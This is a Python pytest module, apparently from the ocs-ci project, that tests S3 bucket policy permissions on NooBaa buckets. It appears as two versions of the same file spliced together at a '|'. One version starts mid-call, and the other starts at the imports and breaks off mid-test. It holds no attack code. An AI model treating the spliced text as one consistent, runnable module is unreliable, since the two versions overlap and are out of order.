s3_obj=obc_obj, bucketname=obc_obj.bucket_name
), "Failed: DeleteBucketWebsite"
@pytest.mark.polarion_id("OCS-2161")
@tier2
def test_bucket_versioning_and_policies(self, mcg_obj, bucket_factory):
"""
Tests bucket and object versioning on Noobaa buckets and also its related actions
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
object_versions = []
# Creating a OBC user (Account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Admin sets a policy on OBC bucket to allow versioning related actions
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=bucket_version_action_list,
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{'*'}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
# Creating policy
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name} by Admin")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
logger.info(
f"Enabling bucket versioning on {obc_obj.bucket_name} using User: {obc_obj.obc_account}"
)
assert s3_put_bucket_versioning(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name, status="Enabled"
), "Failed: PutBucketVersioning"
logger.info(
f"Verifying whether versioning is enabled on bucket: {obc_obj.bucket_name}"
)
assert s3_get_bucket_versioning(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name
), "Failed: GetBucketVersioning"
# Admin modifies the policy to all obc-account to write/read/delete versioned objects
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=object_version_action_list,
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{'*'}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name} by Admin")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
for key in range(5):
logger.info(f"Writing {key} version of {object_key}")
obj = s3_put_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key=object_key,
data=data,
)
object_versions.append(obj["VersionId"])
for version in object_versions:
logger.info(f"Reading version: {version} of {object_key}")
assert s3_get_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key=object_key,
versionid=version,
), f"Failed: To Read object {version}"
logger.info(f"Deleting version: {version} of {object_key}")
assert s3_delete_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key=object_key,
versionid=version,
), f"Failed: To Delete object with {version}"
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["PutBucketVersioning"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name} by Admin")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
logger.info(
f"Suspending bucket versioning on {obc_obj.bucket_name} using User: {obc_obj.obc_account}"
)
assert s3_put_bucket_versioning(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name, status="Suspended"
), "Failed: PutBucketVersioning"
# Verifying whether GetBucketVersion action is denied access
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to GetBucketVersion"
)
try:
s3_get_bucket_versioning(s3_obj=obc_obj, bucketname=obc_obj.bucket_name)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Get Object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
@pytest.mark.polarion_id("OCS-2159")
@tier2
def test_bucket_policy_effect_deny(self, mcg_obj, bucket_factory):
"""
Tests explicit "Deny" effect on bucket policy actions
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
# Creating multiple obc user (account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Admin writes an object to bucket
logger.info(f"Writing an object on bucket: {obc_obj.bucket_name} by Admin")
assert s3_put_object(
mcg_obj, obc_obj.bucket_name, object_key, data
), "Failed: PutObject"
# Admin sets policy with Effect: Deny on obc bucket with obc-account principal
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetObject"],
resources_list=[f"{obc_obj.bucket_name}/{object_key}"],
effect="Deny",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy from bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# Verifying whether Get action is denied access
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to GetObject"
)
try:
s3_get_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("GetObject action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
# Admin sets a new policy on same obc bucket with same account but with different action and resource
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["DeleteObject"],
resources_list=[f'{obc_obj.bucket_name}/{'*'}'],
effect="Deny",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name}")
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy from bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# Verifying whether delete action is denied
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to Get object"
)
try:
s3_delete_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Get Object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
@pytest.mark.polarion_id("OCS-2149")
@tier2
def test_bucket_policy_multi_statement(self, mcg_obj, bucket_factory):
"""
Tests multiple statements in a bucket policy
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
user_name = "noobaa-user" + str(uuid.uuid4().hex)
email = user_name + "@mail.com"
# Creating OBC (account) and Noobaa user account
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
noobaa_user = NoobaaAccount(
mcg_obj, name=user_name, email=email, buckets=[obc_obj.bucket_name]
)
accounts = [obc_obj, noobaa_user]
# Statement_1 public read access to a bucket
single_statement_policy = gen_bucket_policy(
sid="statement-1",
user_list=["*"],
actions_list=["GetObject"],
resources_list=[f'{obc_obj.bucket_name}/{'*'}'],
effect="Allow",
)
# Additional Statements; Statement_2 - PutObject permission on specific user
# Statement_3 - Denying Permission to DeleteObject action for aultiple Users
new_statements = {
"statement_2": {
"Action": "s3:PutObject",
"Effect": "Allow",
"Principal": noobaa_user.email_id,
"Resource": [f'arn:aws:s3:::{obc_obj.bucket_name}/{'*'}'],
"Sid": "Statement-2",
},
"statement_3": {
"Action": "s3:DeleteObject",
"Effect": "Deny",
"Principal": [obc_obj.obc_account, noobaa_user.email_id],
"Resource": [f'arn:aws:s3:::{'*'}'],
"Sid": "Statement-3",
},
}
for key, value in new_statements.items():
single_statement_policy["Statement"].append(value)
logger.info(f"New policy {single_statement_policy}")
bucket_policy = json.dumps(single_statement_policy)
# Creating Policy
logger.info(
f"Creating multi statement bucket policy on bucket: {obc_obj.bucket_name}"
)
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy "
# Getting Policy
logger.info(
f"Getting multi statement bucket policy from bucket: {obc_obj.bucket_name}"
)
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy["Policy"]}")
# NooBaa user writes an object to bucket
logger.info(
f"Writing object on bucket: {obc_obj.bucket_name} with User: {noobaa_user.email_id}"
)
assert s3_put_object(
noobaa_user, obc_obj.bucket_name, object_key, data
), "Failed: Put Object"
# Verifying public read access
logger.info(
f"Reading object on bucket: {obc_obj.bucket_name} with User: {obc_obj.obc_account}"
)
assert s3_get_object(
obc_obj, obc_obj.bucket_name, object_key
), "Failed: Get Object"
# Verifying Delete object is denied on both Accounts
for user in accounts:
logger.info(
f"Verifying whether S3:DeleteObject action is denied access for {user}"
)
try:
s3_delete_object(user, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info(
f"DeleteObject failed due to: {response.error["Message"]}"
)
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
@pytest.mark.parametrize(
argnames="policy_name, policy_param",
argvalues=[
pytest.param(
*["invalid_principal", "test-user"],
marks=pytest.mark.polarion_id("OCS-2168"),
),
pytest.param(
*["invalid_action", "GetContent"],
marks=pytest.mark.polarion_id("OCS-2166"),
),
pytest.param(
*["invalid_resource", "new_bucket"],
marks=pytest.mark.polarion_id("OCS-2170"),
),
],
)
@tier3
def test_bucket_policy_verify_invalid_scenarios(
self, mcg_obj, bucket_factory, policy_name, policy_param
):
"""
Test invalid bucket policy scenarios
"""
# Creating a OBC (Account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Policy tests invalid/non-existent principal. ie: test-user
if policy_name == "invalid_principal":
bucket_policy_generated = gen_bucket_policy(
user_list=policy_param,
actions_list=["GetObject"],
resources_list=[f'{obc_obj.bucket_name}/{'*'}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
# Policy tests invalid/non-existent S3 Action. ie: GetContent
elif policy_name == "invalid_action":
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=[policy_param],
resources_list=[f'{obc_obj.bucket_name}/{'*'}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
# Policy tests invalid/non-existent resource/bucket. ie: new_bucket
elif policy_name == "invalid_resource":
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetObject"],
resources_list=[policy_param],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(f"Verifying Malformed Policy: {policy_name}")
try:
put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "MalformedPolicy":
logger.info(
f"PutBucketPolicy failed due to: {response.error["Message"]}"
)
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error["Code"]}"
)
@pytest.mark.polarion_id("OCS-2451")
@pytest.mark.bugzilla("1893163")
@skipif_ocs_version("<4.6")
@tier1
def test_public_website(self, mcg_obj, bucket_factory):
"""
Tests public bucket website access
"""
# Creating a S3 bucket to host website
s3_bucket = bucket_factory(amount=1, interface="S3")
# Creating random S3 users
users = []
account1 = "noobaa-user1" + str(uuid.uuid4().hex)
account2 = "noobaa-user2" + str(uuid.uuid4().hex)
for account in account1, account2:
users.append(
NoobaaAccount(
mcg=mcg_obj,
name=account,
email=f"{account}@mail.com",
buckets=[s3_bucket[0].name],
)
)
logger.info(f"Adding bucket website config to: {s3_bucket[0].name}")
assert s3_put_bucket_website(
s3_obj=mcg_obj,
bucketname=s3_bucket[0].name,
website_config=website_config,
), "Failed: PutBucketWebsite"
logger.info(f"Getting bucket website config from: {s3_bucket[0].name}")
assert s3_get_bucket_website(
s3_obj=mcg_obj, bucketname=s3_bucket[0].name
), "Failed: GetBucketWebsite"
logger.info("Writing index and error data to the bucket")
assert s3_put_object(
s3_obj=mcg_obj,
bucketname=s3_bucket[0].name,
object_key="index.html",
data=index,
content_type="text/html",
), "Failed: PutObject"
assert s3_put_object(
s3_obj=mcg_obj,
bucketname=s3_bucket[0].name,
object_key="error.html",
data=error,
content_type="text/html",
), "Failed: PutObject"
# Setting Get(read) policy action for all users(public)
bucket_policy_generated = gen_bucket_policy(
sid="PublicRead",
user_list=["*"],
actions_list=["GetObject"],
resources_list=[f"{s3_bucket[0].name}/{"*"}"],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {s3_bucket[0].name} with public access"
)
assert put_bucket_policy(
mcg_obj, s3_bucket[0].name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {s3_bucket[0].name}")
get_policy = get_bucket_policy(mcg_obj, s3_bucket[0].name)
logger.info(f"Bucket policy: {get_policy["Policy"]}")
# Verifying GetObject by reading the index of the website by anonymous users
for user in users:
logger.info(
f"Getting object using user: {user.email_id} on bucket: {s3_bucket[0].name} "
)
assert s3_get_object(
user, s3_bucket[0].name, "index.html"
), f"Failed: Get Object by user {user.email_id}"
| import logging
import pytest
import botocore.exceptions as boto3exception
import json
import uuid
from ocs_ci.framework import config
from ocs_ci.ocs.exceptions import (
NoBucketPolicyResponse,
InvalidStatusCode,
UnexpectedBehaviour,
)
from ocs_ci.framework.testlib import MCGTest, tier1, tier2, tier3, skipif_ocs_version
from ocs_ci.ocs.resources.bucket_policy import (
NoobaaAccount,
HttpResponseParser,
gen_bucket_policy,
)
from ocs_ci.ocs.resources.objectbucket import OBC
from ocs_ci.ocs.bucket_utils import (
put_bucket_policy,
get_bucket_policy,
s3_put_object,
delete_bucket_policy,
s3_get_object,
s3_delete_object,
create_multipart_upload,
s3_put_bucket_website,
s3_get_bucket_website,
s3_delete_bucket_website,
s3_get_bucket_versioning,
s3_put_bucket_versioning,
)
from ocs_ci.ocs.defaults import website_config, index, error
from ocs_ci.ocs.constants import (
bucket_website_action_list,
bucket_version_action_list,
object_version_action_list,
)
logger = logging.getLogger(__name__)
@skipif_ocs_version("<4.3")
class TestS3BucketPolicy(MCGTest):
"""
Test Bucket Policies on Noobaa accounts
"""
@pytest.mark.polarion_id("OCS-2150")
@tier1
def test_basic_bucket_policy_operations(self, mcg_obj, bucket_factory):
"""
Test Add, Modify, delete bucket policies
"""
# Creating obc and obc object to get account details, keys etc
obc_name = bucket_factory(amount=1, interface="OC")[0].name
obc_obj = OBC(obc_name)
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetObject"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy = json.dumps(bucket_policy_generated)
# Add Bucket Policy
logger.info(f"Creating bucket policy on bucket: {obc_obj.bucket_name}")
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
if put_policy is not None:
response = HttpResponseParser(put_policy)
if response.status_code == 200:
logger.info("Bucket policy has been created successfully")
else:
raise InvalidStatusCode(f"Invalid Status code: {response.status_code}")
else:
raise NoBucketPolicyResponse("Put policy response is none")
# Get bucket policy
logger.info(f"Getting Bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# Modifying bucket policy to take new policy
logger.info("Modifying bucket policy")
actions_list = ["ListBucket", "CreateBucket"]
actions = list(map(lambda action: "s3:%s" % action, actions_list))
modified_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=actions_list,
resources_list=[obc_obj.bucket_name],
)
bucket_policy_modified = json.dumps(modified_policy_generated)
put_modified_policy = put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy_modified
)
if put_modified_policy is not None:
response = HttpResponseParser(put_modified_policy)
if response.status_code == 200:
logger.info("Bucket policy has been modified successfully")
else:
raise InvalidStatusCode(f"Invalid Status code: {response.status_code}")
else:
raise NoBucketPolicyResponse("Put modified policy response is none")
# Get Modified Policy
get_modified_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
modified_policy = json.loads(get_modified_policy["Policy"])
logger.info(f"Got modified bucket policy: {modified_policy}")
actions_from_modified_policy = modified_policy["statement"][0]["action"]
modified_actions = list(map(str, actions_from_modified_policy))
initial_actions = list(map(str.lower, actions))
logger.info(f"Actions from modified_policy: {modified_actions}")
logger.info(f"User provided actions actions: {initial_actions}")
if modified_actions == initial_actions:
logger.info("Modified actions and initial actions are same")
else:
raise UnexpectedBehaviour(
"Modification Failed: Action lists are not identical"
)
# Delete Policy
logger.info(f"Delete bucket policy by admin on bucket: {obc_obj.bucket_name}")
delete_policy = delete_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Delete policy response: {delete_policy}")
if delete_policy is not None:
response = HttpResponseParser(delete_policy)
if response.status_code == 204:
logger.info("Bucket policy is deleted successfully")
else:
raise InvalidStatusCode(f"Invalid Status code: {response.status_code}")
else:
raise NoBucketPolicyResponse("Delete policy response is none")
# Confirming again by calling get_bucket_policy
try:
get_bucket_policy(mcg_obj, obc_obj.bucket_name)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "NoSuchBucketPolicy":
logger.info("Bucket policy has been deleted successfully")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
@pytest.mark.polarion_id("OCS-2146")
@tier1
def test_bucket_policy_actions(self, mcg_obj, bucket_factory):
"""
Tests user access to Put, Get, Delete bucket policy actions
"""
# Creating obc and obc object to get account details, keys etc
obc_name = bucket_factory(amount=1, interface="OC")[0].name
obc_obj = OBC(obc_name)
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["PutBucketPolicy"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy = json.dumps(bucket_policy_generated)
# Admin creates a policy on the user bucket, for Action: PutBucketPolicy
logger.info(f"Creating policy by admin on bucket: {obc_obj.bucket_name}")
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
logger.info(f"Put bucket policy response from admin: {put_policy}")
# Verifying Put bucket policy by user by changing the actions to GetBucketPolicy & DeleteBucketPolicy
user_generated_policy = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["GetBucketPolicy", "DeleteBucketPolicy"],
resources_list=[obc_obj.bucket_name],
)
bucket_policy1 = json.dumps(user_generated_policy)
logger.info(f"Changing bucket policy by User on bucket: {obc_obj.bucket_name}")
put_policy_user = put_bucket_policy(
obc_obj, obc_obj.bucket_name, bucket_policy1
)
logger.info(f"Put bucket policy response from user: {put_policy_user}")
# Verifying whether user can get the bucket policy after modification
get_policy = get_bucket_policy(obc_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# Verifying whether user is not allowed Put the bucket policy after modification
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to put objects"
)
try:
put_bucket_policy(obc_obj, obc_obj.bucket_name, bucket_policy1)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info(
f"Put bucket policy has been denied access to the user: {obc_obj.obc_account}"
)
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
# Verifying whether user can Delete the bucket policy after modification
logger.info(f"Deleting bucket policy on bucket: {obc_obj.bucket_name}")
delete_policy = delete_bucket_policy(obc_obj, obc_obj.bucket_name)
logger.info(f"Delete policy response: {delete_policy}")
@pytest.mark.polarion_id("OCS-2156")
@tier1
def test_object_actions(self, mcg_obj, bucket_factory):
"""
Test to verify different object actions and cross account access to buckets
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
# Creating multiple obc users (accounts)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Creating noobaa account to access bucket belonging to obc account
user_name = "noobaa-user" + str(uuid.uuid4().hex)
email = user_name + "@mail.com"
user = NoobaaAccount(
mcg_obj, name=user_name, email=email, buckets=[obc_obj.bucket_name]
)
# Admin sets policy on obc bucket with obc account principal
bucket_policy_generated = gen_bucket_policy(
user_list=[obc_obj.obc_account, user.email_id],
actions_list=["PutObject"],
resources_list=[f'{obc_obj.bucket_name}/{"*"}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, bucket_policy)
logger.info(f"Put bucket policy response from Admin: {put_policy}")
# Get Policy
logger.info(f"Getting Bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# Verifying whether users can put object
logger.info(
f"Adding object on bucket: {obc_obj.bucket_name} using user: {obc_obj.obc_account}"
)
assert s3_put_object(
obc_obj, obc_obj.bucket_name, object_key, data
), "Failed: Put Object"
logger.info(
f"Adding object on bucket: {obc_obj.bucket_name} using user: {user.email_id}"
)
assert s3_put_object(
user, obc_obj.bucket_name, object_key, data
), "Failed: Put Object"
# Verifying whether Get action is not allowed
logger.info(
f"Verifying whether user: "
f'{user.email_id if float(config.ENV_DATA["ocs_version"]) >= 4.6 else obc_obj.obc_account}'
f" is denied to Get object"
)
try:
if float(config.ENV_DATA["ocs_version"]) >= 4.6:
s3_get_object(user, obc_obj.bucket_name, object_key)
else:
s3_get_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Get Object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
else:
assert False, "Get object succeeded when it should have failed"
if float(config.ENV_DATA["ocs_version"]) >= 4.6:
logger.info(
f"Verifying whether the user: "
f"{obc_obj.obc_account} is able to access Get action"
f"irrespective of the policy set"
)
assert s3_get_object(
obc_obj, obc_obj.bucket_name, object_key
), "Failed: Get Object"
# Verifying whether obc account allowed to create multipart
logger.info(
f"Creating multipart on bucket: {obc_obj.bucket_name}"
f" with key: {object_key} using user: {obc_obj.obc_account}"
)
create_multipart_upload(obc_obj, obc_obj.bucket_name, object_key)
# Verifying whether S3 user is allowed to create multipart
logger.info(
f"Creating multipart on bucket: {obc_obj.bucket_name} "
f"with key: {object_key} using user: {user.email_id}"
)
create_multipart_upload(user, obc_obj.bucket_name, object_key)
# Verifying whether obc account is denied access to delete object
logger.info(
f"Verifying whether user: "
f'{user.email_id if float(config.ENV_DATA["ocs_version"]) >= 4.6 else obc_obj.obc_account}'
f"is denied to Delete object"
)
try:
if float(config.ENV_DATA["ocs_version"]) >= 4.6:
s3_delete_object(user, obc_obj.bucket_name, object_key)
else:
s3_delete_object(obc_obj, obc_obj.bucket_name, object_key)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Delete action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
else:
assert False, "Delete object succeeded when it should have failed"
# Admin sets a policy on obc-account bucket with noobaa-account principal (cross account access)
new_policy_generated = gen_bucket_policy(
user_list=user.email_id,
actions_list=["GetObject", "DeleteObject"],
resources_list=[f'{obc_obj.bucket_name}/{"*"}'],
)
new_policy = json.dumps(new_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
put_policy = put_bucket_policy(mcg_obj, obc_obj.bucket_name, new_policy)
logger.info(f"Put bucket policy response from admin: {put_policy}")
# Get Policy
logger.info(f"Getting bucket policy on bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# Verifying whether Get, Delete object is allowed
logger.info(
f"Getting object on bucket: {obc_obj.bucket_name} with user: {user.email_id}"
)
assert s3_get_object(
user, obc_obj.bucket_name, object_key
), "Failed: Get Object"
logger.info(
f"Deleting object on bucket: {obc_obj.bucket_name} with user: {user.email_id}"
)
assert s3_delete_object(
user, obc_obj.bucket_name, object_key
), "Failed: Delete Object"
# Verifying whether Put object action is denied
logger.info(
f"Verifying whether user: {user.email_id} is denied to Put object after updating policy"
)
try:
s3_put_object(user, obc_obj.bucket_name, object_key, data)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("Put object action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
@pytest.mark.polarion_id("OCS-2145")
@tier1
def test_anonymous_read_only(self, mcg_obj, bucket_factory):
"""
Tests read only access by an anonymous user
"""
data = "Sample string content to write to a new S3 object"
object_key = "ObjKey-" + str(uuid.uuid4().hex)
user_name = "noobaa-user" + str(uuid.uuid4().hex)
email = user_name + "@mail.com"
# Creating a s3 bucket
s3_bucket = bucket_factory(amount=1, interface="S3")[0]
# Creating a random user account
user = NoobaaAccount(
mcg_obj, name=user_name, email=email, buckets=[s3_bucket.name]
)
# Admin sets policy all users '*' (Public access)
bucket_policy_generated = gen_bucket_policy(
user_list=["*"],
actions_list=["GetObject"],
resources_list=[f'{s3_bucket.name}/{"*"}'],
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {s3_bucket.name} with wildcard (*) Principal"
)
put_policy = put_bucket_policy(mcg_obj, s3_bucket.name, bucket_policy)
logger.info(f"Put bucket policy response from Admin: {put_policy}")
# Getting Policy
logger.info(f"Getting bucket policy on bucket: {s3_bucket.name}")
get_policy = get_bucket_policy(mcg_obj, s3_bucket.name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
# Admin writes an object to bucket
logger.info(f"Writing object on bucket: {s3_bucket.name} by admin")
assert s3_put_object(
mcg_obj, s3_bucket.name, object_key, data
), "Failed: PutObject"
# Reading the object by anonymous user
logger.info(
f"Getting object by user: {user.email_id} on bucket: {s3_bucket.name} "
)
assert s3_get_object(
user, s3_bucket.name, object_key
), f"Failed: Get Object by user {user.email_id}"
@pytest.mark.polarion_id("OCS-2140")
@tier2
def test_bucket_website_and_policies(self, mcg_obj, bucket_factory):
"""
Tests bucket website bucket policy actions
"""
# Creating a OBC (account)
obc = bucket_factory(amount=1, interface="OC")
obc_obj = OBC(obc[0].name)
# Admin sets policy with Put/Get bucket website actions
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=bucket_website_action_list,
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{"*"}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
assert put_bucket_policy(
mcg_obj, obc_obj.bucket_name, bucket_policy
), "Failed: PutBucketPolicy"
# Getting Policy
logger.info(f"Getting bucket policy for bucket: {obc_obj.bucket_name}")
get_policy = get_bucket_policy(mcg_obj, obc_obj.bucket_name)
logger.info(f"Got bucket policy: {get_policy['Policy']}")
logger.info(f"Adding bucket website config to: {obc_obj.bucket_name}")
assert s3_put_bucket_website(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
website_config=website_config,
), "Failed: PutBucketWebsite"
logger.info(f"Getting bucket website config from: {obc_obj.bucket_name}")
assert s3_get_bucket_website(
s3_obj=obc_obj, bucketname=obc_obj.bucket_name
), "Failed: GetBucketWebsite"
logger.info("Writing index and error data to the bucket")
assert s3_put_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key="index.html",
data=index,
content_type="text/html",
), "Failed: PutObject"
assert s3_put_object(
s3_obj=obc_obj,
bucketname=obc_obj.bucket_name,
object_key="error.html",
data=error,
content_type="text/html",
), "Failed: PutObject"
# Verifying whether DeleteBucketWebsite action is denied access
logger.info(
f"Verifying whether user: {obc_obj.obc_account} is denied to DeleteBucketWebsite"
)
try:
s3_delete_bucket_website(s3_obj=obc_obj, bucketname=obc_obj.bucket_name)
except boto3exception.ClientError as e:
logger.info(e.response)
response = HttpResponseParser(e.response)
if response.error["Code"] == "AccessDenied":
logger.info("GetObject action has been denied access")
else:
raise UnexpectedBehaviour(
f"{e.response} received invalid error code {response.error['Code']}"
)
# Admin modifies policy to allow DeleteBucketWebsite action
bucket_policy_generated = gen_bucket_policy(
user_list=obc_obj.obc_account,
actions_list=["DeleteBucketWebsite"],
resources_list=[obc_obj.bucket_name, f'{obc_obj.bucket_name}/{"*"}'],
effect="Allow",
)
bucket_policy = json.dumps(bucket_policy_generated)
logger.info(
f"Creating bucket policy on bucket: {obc_obj.bucket_name} with principal: {obc_obj.obc_account}"
)
